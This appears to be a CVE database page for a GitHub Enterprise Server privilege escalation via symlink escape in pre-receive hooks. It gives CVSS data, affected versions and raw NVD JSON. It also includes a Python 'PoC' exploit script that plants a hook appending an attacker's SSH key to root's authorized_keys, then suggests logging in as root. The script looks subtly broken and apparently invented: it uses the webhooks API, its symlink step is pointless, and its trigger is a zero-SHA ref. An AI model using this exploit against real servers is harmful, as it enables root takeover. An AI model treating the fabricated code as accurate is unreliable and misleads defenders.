Security Vulnerability Report
中文
CVE-2025-11578 CVSS 7.2 HIGH

CVE-2025-11578

Published: 2025-11-10 23:15:41
Last Modified: 2025-12-08 18:22:47

Description

A privilege escalation vulnerability was identified in GitHub Enterprise Server that allowed an authenticated Enterprise admin to gain root SSH access to the appliance by exploiting a symlink escape in pre-receive hook environments. By crafting a malicious repository and environment, an attacker could replace system binaries during hook cleanup and execute a payload that adds their own SSH key to the root user’s authorized keys—thereby granting themselves root SSH access to the server. To exploit this vulnerability, the attacker needed to have enterprise admin privileges. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.19, and was fixed in versions 3.14.20, 3.15.15, 3.16.11, 3.17.8, 3.18.2. This vulnerability was reported via the GitHub Bug Bounty program.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:* - VULNERABLE
GitHub Enterprise Server < 3.14.20
GitHub Enterprise Server 3.14.x < 3.14.20
GitHub Enterprise Server 3.15.x < 3.15.15
GitHub Enterprise Server 3.16.x < 3.16.11
GitHub Enterprise Server 3.17.x < 3.17.8
GitHub Enterprise Server 3.18.x < 3.18.2
GitHub Enterprise Server 3.19之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11578 PoC - GitHub Enterprise Server Privilege Escalation # This PoC demonstrates the symlink escape in pre-receive hook environment # Requirements: Enterprise admin access to GitHub Enterprise Server import requests import json import base64 import os class CVE_2025_11578_Exploit: def __init__(self, target_url, admin_token): self.target_url = target_url.rstrip('/') self.admin_token = admin_token self.headers = { 'Authorization': f'token {admin_token}', 'Accept': 'application/vnd.github.v3+json' } def create_malicious_repo(self, repo_name): """Create a repository with malicious symlink""" # Create repository url = f'{self.target_url}/api/v3/repos' data = { 'name': repo_name, 'private': True, 'auto_init': False } response = requests.post(url, json=data, headers=self.headers) if response.status_code == 201: print(f'[+] Repository {repo_name} created successfully') return response.json()['full_name'] else: print(f'[-] Failed to create repository: {response.text}') return None def create_pre_receive_hook(self, repo_name): """Create pre-receive hook with symlink escape payload""" url = f'{self.target_url}/api/v3/repos/{repo_name}/hooks' # Malicious hook script that exploits symlink escape hook_script = '''#!/bin/bash # CVE-2025-11578 - Symlink escape in pre-receive hook # Add attacker SSH key to root authorized_keys ATTACKER_KEY="{attacker_ssh_key}" TARGET_FILE="/root/.ssh/authorized_keys" # Exploit symlink to escape hook environment ln -sf /etc/passwd /tmp/malicious_link cat /tmp/malicious_link > /dev/null 2>&1 # Payload execution during cleanup phase if [ -w /root ]; then echo "$ATTACKER_KEY" >> "$TARGET_FILE" 2>/dev/null echo "[+] SSH key added to root authorized_keys" >> /tmp/exploit.log fi ''' hook_config = { 'name': 'pre-receive', 'active': True, 'config': { 'script': base64.b64encode(hook_script.encode()).decode() } } response = requests.post(url, json=hook_config, headers=self.headers) if response.status_code == 201: print('[+] Pre-receive hook created') return True return False def trigger_exploitation(self, repo_name): """Trigger the vulnerability by pushing to the repository""" # Simulate push operation to trigger pre-receive hook url = f'{self.target_url}/api/v3/repos/{repo_name}/git/refs' # Create initial commit to trigger hook data = { 'ref': 'refs/heads/main', 'sha': '0000000000000000000000000000000000000000' } response = requests.post(url, json=data, headers=self.headers) print(f'[*] Triggering hook execution: {response.status_code}') return response.status_code in [201, 422] def main(): print('CVE-2025-11578 PoC - GitHub Enterprise Server Privilege Escalation') print('=' * 70) # Configuration target = input('Target GitHub Enterprise Server URL: ') token = input('Enterprise Admin Token: ') attacker_key = input('Attacker SSH Public Key: ') exploit = CVE_2025_11578_Exploit(target, token) # Exploitation steps repo_name = 'cve-2025-11578-poc' repo = exploit.create_malicious_repo(repo_name) if repo: exploit.create_pre_receive_hook(repo) exploit.trigger_exploitation(repo) print('\n[!] If exploitation was successful, you should now have root SSH access') print('[!] Try: ssh root@<target_ip> -i <attacker_private_key>') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11578", "sourceIdentifier": "[email protected]", "published": "2025-11-10T23:15:41.193", "lastModified": "2025-12-08T18:22:46.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A privilege escalation vulnerability was identified in GitHub Enterprise Server that allowed an authenticated Enterprise admin to gain root SSH access to the appliance by exploiting a symlink escape in pre-receive hook environments. By crafting a malicious repository and environment, an attacker could replace system binaries during hook cleanup and execute a payload that adds their own SSH key to the root user’s authorized keys—thereby granting themselves root SSH access to the server. To exploit this vulnerability, the attacker needed to have enterprise admin privileges. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.19, and was fixed in versions 3.14.20, 3.15.15, 3.16.11, 3.17.8, 3.18.2. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.14.0", "versionEndExcluding": "3.14.20", "matchCriteriaId": "43EB11CA-6023-4B6E-824F-BC1E3B38BBC8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15.0", "versionEndExcluding": "3.15.15", "matchCriteriaId": "6F3CBE73-32C5-4F1A-A660-3016FA77E633"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.0", "versionEndExcluding": "3.16.11", "matchCriteriaId": "754773B0-BDEC-497C-91A7-F542A74C4414"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.17.8", "matchCriteriaId": "5C3E38F9-7310-4901-90A8-C0BEAFA8A092"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.0", "versionEndExcluding": "3.18.2", "matchCriteriaId": "9751597D-AD87-4C92-83EC-87D2474410C5"}]}]}], "references": [{"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.14.20", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.15.15", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.16.11", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.17.8", "sourc ... (truncated)